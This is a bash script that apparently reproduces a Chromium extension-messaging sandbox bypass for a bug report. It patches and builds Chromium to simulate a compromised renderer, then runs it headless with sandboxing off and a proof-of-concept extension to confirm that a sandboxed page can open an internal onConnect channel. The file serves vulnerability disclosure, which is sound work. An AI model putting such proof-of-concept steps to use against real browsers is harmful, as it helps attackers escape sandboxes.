#!/bin/bash
# POC runner: IsValidMessagingSource accepts Type::kExtension from a
# manifest-sandboxed extension process.
#
# Usage: ./run.sh /path/to/chromium/src
set -e

SRC="${1:-/chromium/chromium/src}"
HERE="$(cd "$(dirname "$0")" && pwd)"

echo "[*] Applying renderer-side injection patch (simulates compromised"
echo "    sandboxed renderer)..."
( cd "$SRC" && git apply "$HERE/chromium-changes.patch" )

echo "[*] Building chrome..."
( cd "$SRC" && autoninja -j 5 -C out/asan chrome )

echo "[*] Running chrome with the POC extension..."
rm -rf /tmp/chrome-poc-profile
timeout 30 "$SRC/out/asan/chrome" \
  --headless=new --no-sandbox \
  --no-first-run --no-default-browser-check --disable-gpu \
  --user-data-dir=/tmp/chrome-poc-profile \
  --enable-logging=stderr \
  --load-extension="$HERE/extension" \
  about:blank 2>&1 | tee /tmp/poc-run.log | grep -a 'POC\|EMF_'

echo
echo "[*] Reverting injection patch..."
( cd "$SRC" && git apply -R "$HERE/chromium-changes.patch" )

echo
if grep -aq 'VULNERABILITY CONFIRMED' /tmp/poc-run.log; then
  echo "[+] Bug reproduced: sandboxed page opened an INTERNAL onConnect channel."
  exit 0
else
  echo "[-] Bug NOT reproduced."
  exit 1
fi